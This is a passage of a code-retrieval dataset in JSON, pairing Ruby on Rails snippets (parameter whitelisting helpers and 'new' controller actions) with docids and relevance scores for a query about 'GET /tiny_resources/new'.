filter_params(_sub_object_attribute = nil)\n required = :returns_lbtt_party\n attribute_list = Lbtt::Party.attribute_list\n params.require(required).permit(attribute_list) if params[required]\n end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.6003619", "text": "def filter_parameters; end", "title": "" }, { "docid": "0c9d4c365c1621bdf0a6b700bd6e3bef", "score": "0.59931374", "text": "def cleanedParams(params)\n params.select {|k, v| ALLOWED_PARAMS.include? k}\n end", "title": "" }, { "docid": "71f97bda880101aa36b21017c0787f98", "score": "0.5989032", "text": "def validate_params\n invalid_parameter = @params.find { |key, value| !ConsolidatedScreeningList::PARAMETERS.key?(key) }\n raise ArgumentError, \"Invalid parameter: #{@params}\" if invalid_parameter\n end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.5984926", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.59798354", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" }, { "docid": "f023b3871638291b75273a71bc75459c", "score": "0.59747314", "text": "def page_list_params\n params.permit(:url_list)\n params[:page_list].permit!\n end", "title": "" }, { "docid": "d78d0776c63005d7f56f3a21b5e4c50a", "score": "0.59729695", "text": "def user_list_params\n params.require(:user_list).permit(:user_id, :list_id)\n end", "title": "" }, { "docid": "4cf4346dd54b99fe0a7782ceaf7c26be", "score": "0.5971315", "text": "def quotation_list_params\n params.require(:quotation_list).permit!\n end", "title": "" }, { "docid": "38ed4234ecadfc5889a7c25028dc9a58", "score": "0.5965672", "text": "def sanitize(params = {})\n blacklist = options.fetch(:blacklist, []).map(&:to_s)\n redacted_string = options.fetch(:redacted_string, 'REDACTED')\n params.each do |param, _value|\n params[param] = redacted_string if blacklist.include?(param.to_s)\n end\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.5962804", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "5fc4ba2ae074a90a66c53c25e751f3f0", "score": "0.5960231", "text": "def black_list_params\n params.require(:black_list).permit(:user)\n end", "title": "" }, { "docid": "63f5e4e9733f9e6b3f98d5e069440292", "score": "0.595559", "text": "def black_list_params\r\n params.require(:black_list).permit(:user)\r\n end", "title": "" }, { "docid": "8e519fbf8b7f524a91ac5c7f842a6121", "score": "0.59538776", "text": "def validate_params_present!; end", "title": "" }, { "docid": "037a774fcd9c86ff09a88570fba7bebd", "score": "0.59527713", "text": "def filter_for ownable\n # get the class name of the ownable\n class_name = ownable.class_name_to_sym.to_s\n \n # make sure params format is as follows:\n # { ownable_class_name: {param1: :value, param2: :value} }\n params.required(class_name)\n\n # return {} if !params || params.empty?\n\n # get a list of attributes that are allowed for this item\n # could be true, false, or an array of allowed attributes\n allowed_attributes = attributes_for(ownable)\n\n # decide how to handle the received attributes\n if allowed_attributes == true\n \n # allow all\n params.permit!\n\n elsif allowed_attributes == false\n \n # allow none\n params.permit *[]\n\n else\n \n # filter out everything except allowed_attributes\n params.permit *allowed_attributes\n \n raise params.to_yaml\n end\n\n end", "title": "" }, { "docid": "d4e0fd0cd70ef3707f081791087f33b6", "score": "0.5949399", "text": "def validate_parameters(allow: [], required: nil, require_any_of: nil)\n opts = @opts\n allow += %i(azure_retry_limit azure_retry_backoff azure_retry_backoff_factor\n endpoint api_version required_parameters allowed_parameters display_name method)\n Validators.validate_parameters(resource_name: @__resource_name__,\n allow: allow, required: required,\n require_any_of: require_any_of, opts: opts)\n true\n end", "title": "" }, { "docid": "d7f0d4c3dc66c34a6e17c0a14432c0e9", "score": "0.5946416", "text": "def verification_list_params\n params.require(:verification_list).permit!\n end", "title": "" }, { "docid": "5ed866fb3c6ebdffbc794d04bb9f2531", "score": "0.5945795", "text": "def list_params\n params.fetch(:list, {}).permit(\n :name\n )\n end", "title": "" }, { "docid": "ba0704d4182a1a6fb0a743f6eb9cd25e", "score": "0.59403497", "text": "def check_params\n\t\t\t return []\t\t\t \n\tend", "title": "" }, { "docid": "229afde2ab7c3109de2027d47fba2c70", "score": "0.5937114", "text": "def white_list_params(params, allowed_values, ignored_values = [])\n result = {}\n params.each_pair do |key, value|\n if allowed_values.include? key\n result[key] = value\n elsif !ignored_values.include?(key)\n raise SwaggerInvalidException.new(\"Unknown property [#{key}] with value [#{value}]#{list_or_none(allowed_values, 'properties')}\")\n end\n end\n result\n end", "title": "" }, { "docid": "a99f218b156087cc665291b5dfc21e1f", "score": "0.59363353", "text": "def validate_parameters(allow: [], required: nil, require_any_of: nil)\n if required\n raise ArgumentError, \"Expected required parameters as Array of Symbols, got #{required}\" unless required.is_a?(Array) && required.all? { |r| r.is_a?(Symbol) }\n raise ArgumentError, \"#{@__resource_name__}: region must be provided via environment variable or hash parameter\" if required.include?(:region) && (!@opts.is_a?(Hash) || (@opts[:region].nil? || @opts[:region] == \"\"))\n raise ArgumentError, \"#{@__resource_name__}: `#{required}` must be provided\" unless @opts.is_a?(Hash) && required.all? { |req| @opts.key?(req) && !@opts[req].nil? && @opts[req] != \"\" }\n\n allow += required\n end\n\n if require_any_of\n raise ArgumentError, \"Expected required parameters as Array of Symbols, got #{require_any_of}\" unless require_any_of.is_a?(Array) && require_any_of.all? { |r| r.is_a?(Symbol) }\n raise ArgumentError, \"#{@__resource_name__}: One of `#{require_any_of}` must be provided.\" unless @opts.is_a?(Hash) && require_any_of.any? { |req| @opts.key?(req) && !@opts[req].nil? && @opts[req] != \"\" }\n\n allow += require_any_of\n end\n\n allow += %i{region} unless allow.include?(:region)\n allow += %i{endpoint} unless allow.include?(:endpoint)\n @opts.delete(:region) if @opts.is_a?(Hash) && @opts[:region].nil?\n\n raise ArgumentError, \"Scalar arguments not supported\" unless defined?(@opts.keys)\n raise ArgumentError, \"Unexpected arguments found\" unless @opts.keys.all? { |a| allow.include?(a) }\n raise ArgumentError, \"Provided parameter should not be empty\" unless @opts.values.all? do |a|\n return true if a.instance_of?(Integer) || a.instance_of?(TrueClass) || a.instance_of?(FalseClass)\n\n !a.empty?\n end\n\n true\n end", "title": "" }, { "docid": "527035c39c066958cc202c06528f2673", "score": "0.59362227", "text": "def patient_list_params\n params.require(:patient_list).permit!\n end", "title": "" }, { "docid": "ab49b0baeea5bf6f204adca9e864094e", "score": "0.59332967", "text": "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end", "title": "" }, { "docid": "5b53a222b1dec771125370679892e873", "score": "0.5929766", "text": "def sanitize(raw_parameters = {})\n kept_params = {}\n sanitize_nesting(kept_params, @whitelist, symbolize_recursive(raw_parameters))\n kept_params\n end", "title": "" }, { "docid": "d8b02fce801fc219417d86d0ca117836", "score": "0.59260756", "text": "def _valid_params\n valid_params # method private cause needed only for internal usage\n end", "title": "" }, { "docid": "d8b02fce801fc219417d86d0ca117836", "score": "0.59260756", "text": "def _valid_params\n valid_params # method private cause needed only for internal usage\n end", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.5921627", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "a1a9495fb0e2abd93f64e7d722073f1f", "score": "0.59203607", "text": "def interest_list_params\n params.require(:interest_list).permit(:name, :public, :user_id)\n end", "title": "" }, { "docid": "b3e49440054c3ad3ddb77e29e74a8e4b", "score": "0.59200895", "text": "def sanitized_allowed_attributes=(attributes)\n sanitizer_vendor.safe_list_sanitizer.allowed_attributes = attributes\n end", "title": "" }, { "docid": "7d35b10ac04b461c800fcfea1623a8bb", "score": "0.591923", "text": "def sanitize_by_param(allowed=[], default='id')\n sanitize_params params && params[:by], allowed, default\n end", "title": "" }, { "docid": "7d35b10ac04b461c800fcfea1623a8bb", "score": "0.591923", "text": "def sanitize_by_param(allowed=[], default='id')\n sanitize_params params && params[:by], allowed, default\n end", "title": "" }, { "docid": "9bd89e2fd22e220afe97917f75377374", "score": "0.59133667", "text": "def whitelist\n gather_params(self.jsonschema) if self.jsonschema.present? && self.jsonschema.key?('properties')\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.5912647", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "7f38dfb5bc4d7e89f8aa414e3097f268", "score": "0.5905095", "text": "def allow_access_list(opts)\n opts = check_params(opts,[:self_ips])\n super(opts)\n end", "title": "" }, { "docid": "bf71f22b6a3d024d9581258c3391dd13", "score": "0.59014034", "text": "def filter_params(params); end", "title": "" }, { "docid": "925ab7429771692d76184dc744dc843c", "score": "0.58916956", "text": "def user_list_params\n params.require(:user_list).permit(:user_id, :user_name)\n end", "title": "" }, { "docid": "1c1ee6cc45fd852cab3c1e192bec902b", "score": "0.5888005", "text": "def parametro_params\r\n params.require(:parametro).tap do |whitelisted|\r\n whitelisted[:clave] = params[:parametro][:clave]\r\n whitelisted[:valor] = params[:parametro][:valor]\r\n whitelisted[:bloqueado] = params[:parametro][:bloqueado]\r\n\r\n for i in 0..params[:parametro].count do\r\n whitelisted[\"valor#{i}\".to_sym] = params[:parametro][\"valor#{i}\".to_sym]\r\n end\r\n end\r\n # params.require(:parametro).permit(:clave, :valor)\r\n end", "title": "" }, { "docid": "b248e725f40ba361d6e0529f389090df", "score": "0.5884956", "text": "def filter_by_param(params={})\n if (sub_keys = params[\"allowed_keys\"])\n sub_keys.split(',').select do |key|\n self.allowed_keys.any? {|allowed_key| key.start_with?(allowed_key)}\n end\n else\n self.allowed_keys\n end\n end", "title": "" } ]
702b041ccc8ed52f976777636d7c2bc7
GET /tiny_resources/new GET /tiny_resources/new.xml
[ { "docid": "38683dfd9fe51995c0ecd8cc0c712ac3", "score": "0.78231126", "text": "def new\n @tiny_resource = TinyResource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tiny_resource }\n end\n end", "title": "" } ]
[ { "docid": "99c4a03dd2409938ed8f27a1c90d636b", "score": "0.72280717", "text": "def new\n @resource = Resource.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end", "title": "" }, { "docid": "0186de454da1bbacc0c0e11f5e4361ac", "score": "0.7179005", "text": "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end", "title": "" }, { "docid": "0186de454da1bbacc0c0e11f5e4361ac", "score": "0.7179005", "text": "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end", "title": "" }, { "docid": "dc9248733c2bf0c9f888b1ac2bd763ca", "score": "0.7083009", "text": "def new\n @entry = @resource_finder.new\n initialize_new_resource\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end", "title": "" }, { "docid": "b9de5fe2b80db7f74531283b12f4695f", "score": "0.6749978", "text": "def new\n @resources_data = ResourcesData.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resources_data }\n end\n end", "title": "" }, { "docid": "a83173640f77272bfb6f58a0a65c7e67", "score": "0.66012025", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "title": "" }, { "docid": "5210fb604c38cbe2ab21ea55c068f4ad", "score": "0.6599441", "text": "def new\n @resource = Resource.new\n respond_to do |format|\n format.html {render action: :new} # new.html.erb\n format.json { render json: @resource }\n end\n end", "title": "" }, { "docid": "d6bfdac5fe42d82b19ba7b02e01116c0", "score": "0.65834683", "text": "def new_rest\n @question_localized = QuestionLocalized.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @question_localized }\n end\n end", "title": "" }, { "docid": "0eb1e08613a69bba99133087aeb7242c", "score": "0.6542177", "text": "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "title": "" }, { "docid": "0eb1e08613a69bba99133087aeb7242c", "score": "0.6542177", "text": "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "title": "" }, { "docid": "0eb1e08613a69bba99133087aeb7242c", "score": "0.6542177", "text": "def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "title": "" }, { "docid": "4c26716535714ddfdf977c381ac37855", "score": "0.65163255", "text": "def new\n @_template = @site.templates.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @_template }\n end\n end", "title": "" }, { "docid": "b642ef8ab29d411174f43f03c307d9f3", "score": "0.64914954", "text": "def new\n @resource_info = ResourceInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource_info }\n end\n end", "title": "" }, { "docid": "d85011e821a0cddc6d38b801e1ffc12e", "score": "0.64468116", "text": "def new\n @resource_file = ResourceFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource_file }\n end\n end", "title": "" }, { "docid": "0e433b9c4d045612eaf3c3c247d79aa9", "score": "0.6397614", "text": "def new\n @resource_type = ResourceType.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource_type }\n end\n end", "title": "" }, { "docid": "503ea17049c577147597eea30fe7d24d", "score": "0.63934857", "text": "def new\n @resource = Resource.new\n end", "title": "" }, { "docid": "89041de801f1c637564d4ef6dadc435e", "score": "0.63579893", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "title": "" }, { "docid": "572f49543d9fa70013a713c6b14bcb61", "score": "0.63471675", "text": "def new\n @resource = Resource.new\n @resource_groups = ResourceGroup.alphabetical.all\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end", "title": "" }, { "docid": "2bf8f36caa0d8f80223fb0788ff1fe22", "score": "0.63191843", "text": "def new\n resource = build_resource({})\n respond_with resource\n end", "title": "" }, { "docid": "32d23e457194194ed523de156ee89693", "score": "0.63128835", "text": "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "title": "" }, { "docid": "bf94e040432248072e4994df6caa8793", "score": "0.63113046", "text": "def create\n @tiny_resource = TinyResource.new(params[:tiny_resource])\n @tiny_resource.user_id = session[:user_id]\n\n respond_to do |format|\n if @tiny_resource.save\n flash[:notice] = 'Majetek byl úspěšně vytvořen.'\n format.html { redirect_to(@tiny_resource) }\n format.xml { render :xml => @tiny_resource, :status => :created, :location => @tiny_resource }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tiny_resource.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "87ad022337915e3df6577ead4746e4d2", "score": "0.6310471", "text": "def new\n @template = Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template }\n end\n end", "title": "" }, { "docid": "050b6c4567f2eace509dca939517a76b", "score": "0.63064396", "text": "def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end", "title": "" }, { "docid": "22dc12226554bc09bbf1ef8763f190bf", "score": "0.63048124", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instituto }\n end\n end", "title": "" }, { "docid": "463f26c89359eb0ffdb7c521dbdda2b4", "score": "0.62944084", "text": "def new\n @node = Node.new(:displayed => true)\n @node.template = Template.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "title": "" }, { "docid": "4c9050809fa686a4a2e92f895efe27a0", "score": "0.628752", "text": "def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end", "title": "" }, { "docid": "c4ffbd8faae590a6841ec2edbdd844dc", "score": "0.62669057", "text": "def new\n @sti = Sti.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sti }\n end\n end", "title": "" }, { "docid": "d615495fb7aff2920199cb1591c32466", "score": "0.6254525", "text": "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @system }\n end\n end", "title": "" }, { "docid": "6b149a2aeeb1088519483486df8e673e", "score": "0.6254376", "text": "def new_rest\n @answer_localized = AnswerLocalized.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @answer_localized }\n end\n end", "title": "" }, { "docid": "b7a00b7fc46128720d51dca428698fb3", "score": "0.62484205", "text": "def create\n self.resource = new_resource\n\n respond_to do |format|\n if resource.save\n flash[:notice] = \"#{resource_name.humanize} was successfully created.\"\n format.html { redirect_to resource_url }\n format.xml do\n header_attrs = {:location => resource_url}\n header_attrs.merge!(:key => resource.key) if resource.respond_to?(:key)\n head :created, header_attrs\n end\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => resource.errors.to_xml, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e93781fcbcfbae5e130c29bbdb738e05", "score": "0.62469065", "text": "def create\n @resource = Resource.new(params[:resource])\n\n respond_to do |format|\n if @resource.save\n flash[:notice] = 'Resource was successfully created.'\n format.html { redirect_to(@resource) }\n format.xml { render :xml => @resource, :status => :created, :location => @resource }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @resource.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b4e44185b3f39b550fa325139fa6e7d", "score": "0.623534", "text": "def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing }\n end\n end", "title": "" }, { "docid": "cd5be923c6f5ccfbda18e19013bdec20", "score": "0.6232533", "text": "def new\n @bundle = Bundle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bundle }\n end\n end", "title": "" }, { "docid": "3a0405039d85e7c5952c06625910ba1f", "score": "0.6231143", "text": "def new\n @resource = Resource.new\n @resource_types=ResourceType.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource }\n end\n end", "title": "" }, { "docid": "0317ff9110f76f8354c0debc53a3be6a", "score": "0.62199944", "text": "def new\n resource = build_resource\n resource.build_taller\n respond_with resource\n end", "title": "" }, { "docid": "70ae35c0435d40005a5b6a8e6154c645", "score": "0.62186694", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "23cdde8d4b1a2be0bc3eecca07b39e74", "score": "0.6217218", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ontology }\n end\n end", "title": "" }, { "docid": "b736b52e0b69fa20391be8972d0d759a", "score": "0.62166494", "text": "def new\n @icon = MavenJnlp::Icon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @icon }\n end\n end", "title": "" }, { "docid": "ad608889ec4ba0b3173ca382079546c5", "score": "0.6210387", "text": "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "title": "" }, { "docid": "ad608889ec4ba0b3173ca382079546c5", "score": "0.6210387", "text": "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "title": "" }, { "docid": "ad608889ec4ba0b3173ca382079546c5", "score": "0.6210387", "text": "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "title": "" }, { "docid": "4ecfacd4850ebc9b73b4ba4bbd4d7ce8", "score": "0.6208136", "text": "def new\n @request = Request.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "title": "" }, { "docid": "0728ce69f943cb9439f3667d48923d43", "score": "0.6205152", "text": "def new_rest\n @entry_instrument = EntryInstrument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_instrument }\n end\n end", "title": "" }, { "docid": "639a0307b984e97a6edfbe5539706437", "score": "0.6201352", "text": "def new\n respond_to do |format|\n format.html\n format.xml\n end\n end", "title": "" }, { "docid": "5e62e84493320a0c03103b4fa4f6673a", "score": "0.6188846", "text": "def new\n @thred = Thred.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thred }\n end\n end", "title": "" }, { "docid": "1869320eaa5539b6ae29e1d0b105f351", "score": "0.61837894", "text": "def new\n @tstat = Tstat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tstat }\n end\n end", "title": "" }, { "docid": "1688a0872e792e9d6bea971a11dabde7", "score": "0.6182102", "text": "def new\n @resources_and_link = ResourcesAndLink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resources_and_link }\n end\n end", "title": "" }, { "docid": "61e8a9d7e9b4dc5ef2c68eb2ca47a04c", "score": "0.617382", "text": "def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end", "title": "" }, { "docid": "61e8a9d7e9b4dc5ef2c68eb2ca47a04c", "score": "0.617382", "text": "def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end", "title": "" }, { "docid": "961a7809afd4d3fd99281a30198b33bc", "score": "0.61737394", "text": "def new\n @reqinfo = Reqinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reqinfo }\n end\n end", "title": "" }, { "docid": "ad672b1f57a45fe4fab322976ecf50d2", "score": "0.61737", "text": "def new\n @url_migration = UrlMigration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_migration }\n end\n end", "title": "" }, { "docid": "44d87263b0264fd93ca0dc45701bbc29", "score": "0.6172737", "text": "def new\n @mostsmallresource = Mostsmallresource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mostsmallresource }\n end\n end", "title": "" }, { "docid": "719660f9cb901151391a038a82c0e2df", "score": "0.61714345", "text": "def new\n @tournament = @resource_finder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tournament }\n end\n end", "title": "" }, { "docid": "21e981dd7b0e8dd935f0a255f0d3dc22", "score": "0.6165832", "text": "def new\n @template2 = Template.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @template2 }\n end\n end", "title": "" }, { "docid": "42495c2146a1ce61341c9e04124d6a7d", "score": "0.6160891", "text": "def new\n @quest_template = QuestTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @quest_template }\n end\n end", "title": "" }, { "docid": "c650dbeca84a9fbf31c88803162eee46", "score": "0.61579454", "text": "def new\n @post = model.new\n\n respond_to do |format|\n format.html { render :action => resource_template(\"new\") }\n end\n end", "title": "" }, { "docid": "8f02e327fa959a905a88a75d1f795d0a", "score": "0.6147297", "text": "def new\n @theme = TemplateTheme.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @theme }\n end\n end", "title": "" }, { "docid": "a090ddaf839578568ed168d021c93cf0", "score": "0.6139144", "text": "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "title": "" }, { "docid": "a090ddaf839578568ed168d021c93cf0", "score": "0.6139144", "text": "def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "title": "" }, { "docid": "ce66972889d6f7beaf0bb9df29e1701a", "score": "0.6138773", "text": "def new\n @goaltemplate = Goaltemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @goaltemplate }\n end\n end", "title": "" }, { "docid": "da1f124bacc4c271103265c44ccf82dd", "score": "0.61385417", "text": "def new_rest\n @item_usage = ItemUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_usage }\n end\n end", "title": "" }, { "docid": "6bee4439f8239490f5eca8f7c6efd021", "score": "0.61338216", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n format.xml { render xml: @tasks }\n end\n end", "title": "" }, { "docid": "c55caf3e5e4d95fa423f3c4d0e5f9298", "score": "0.6126557", "text": "def new\n @howto = Howto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @howto }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.61244184", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.61244184", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.61244184", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.61244184", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "b73e6a56c834fd25f7a9fce89dac53e6", "score": "0.61168927", "text": "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @software }\n end\n end", "title": "" }, { "docid": "fe71031c9d8ebe24d34e0b82ae9dbd02", "score": "0.6115273", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml \n end\n end", "title": "" }, { "docid": "755195dc5c97a07e7c39f78c5fd60d79", "score": "0.6113603", "text": "def new\n @repository = Repository.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @repository }\n end\n end", "title": "" }, { "docid": "755195dc5c97a07e7c39f78c5fd60d79", "score": "0.6113603", "text": "def new\n @repository = Repository.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @repository }\n end\n end", "title": "" }, { "docid": "b37c7ab14dac363d1bacaf7b6106c9c1", "score": "0.61117566", "text": "def new\n do_new_resource\n get_project_site\n do_set_attributes\n do_authorize_instance\n\n respond_new\n end", "title": "" }, { "docid": "1755a261e7b22661f9870e9af259d906", "score": "0.6105102", "text": "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @todo }\n end\n end", "title": "" }, { "docid": "1755a261e7b22661f9870e9af259d906", "score": "0.6105102", "text": "def new\n @todo = Todo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @todo }\n end\n end", "title": "" }, { "docid": "d8ea74214e44961b9d0ea299ddf00ae2", "score": "0.60921943", "text": "def new\n @pool = Pool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pool }\n end\n end", "title": "" }, { "docid": "9950a0e76dc2e8ac967ac8a4aa8f7e20", "score": "0.609149", "text": "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @page }\n end\n end", "title": "" }, { "docid": "6ed8df00615104cb96bf658d3695c74a", "score": "0.608848", "text": "def new\n @patrimonio = Patrimonio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patrimonio }\n end\n end", "title": "" }, { "docid": "30e9bab402b6fc7530eb48d2dd909317", "score": "0.6081757", "text": "def create\n existing_resource = Resource.find_by_url(params[:resource][:url])\n if existing_resource\n flash[:notice] = \"That resource has already been added, but please give it a review!\"\n redirect_to resource_path(existing_resource) and return\n end\n @resource = Resource.new(params[:resource])\n @resource.contributor = current_user\n\n respond_to do |format|\n if @resource.save\n format.html { redirect_to(@resource, :notice => 'Resource was successfully created.') }\n format.xml { render :xml => @resource, :status => :created, :location => @resource }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @resource.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9bffe60fae4c3b102eb6dcafe2776cdb", "score": "0.6079192", "text": "def new\n @yml_file = Cmtool::YmlFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @yml_file }\n end\n end", "title": "" }, { "docid": "0ff6f880e1a2dba0e40d3f65a5704895", "score": "0.6077614", "text": "def new\n @asset = Asset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asset }\n end\n end", "title": "" }, { "docid": "0ff6f880e1a2dba0e40d3f65a5704895", "score": "0.6077614", "text": "def new\n @asset = Asset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asset }\n end\n end", "title": "" }, { "docid": "01a5035e7aef0958e4e2b775c894cf50", "score": "0.60713243", "text": "def new\n @title = \"New region\"\n @region = RegionTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @region }\n end\n end", "title": "" }, { "docid": "bb04f0b6f2f328eab163446904b03fb6", "score": "0.60684055", "text": "def new\n @new_project = Project.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @new_project }\n end\n end", "title": "" }, { "docid": "85f64a8813e53cd8971d0eb1c13a289d", "score": "0.60654306", "text": "def new\n @asset = Asset.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asset }\n end\n end", "title": "" }, { "docid": "79645aa765c95f108ea064aa83b02fc8", "score": "0.6061436", "text": "def new\n @temp = Temp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @temp }\n end\n end", "title": "" }, { "docid": 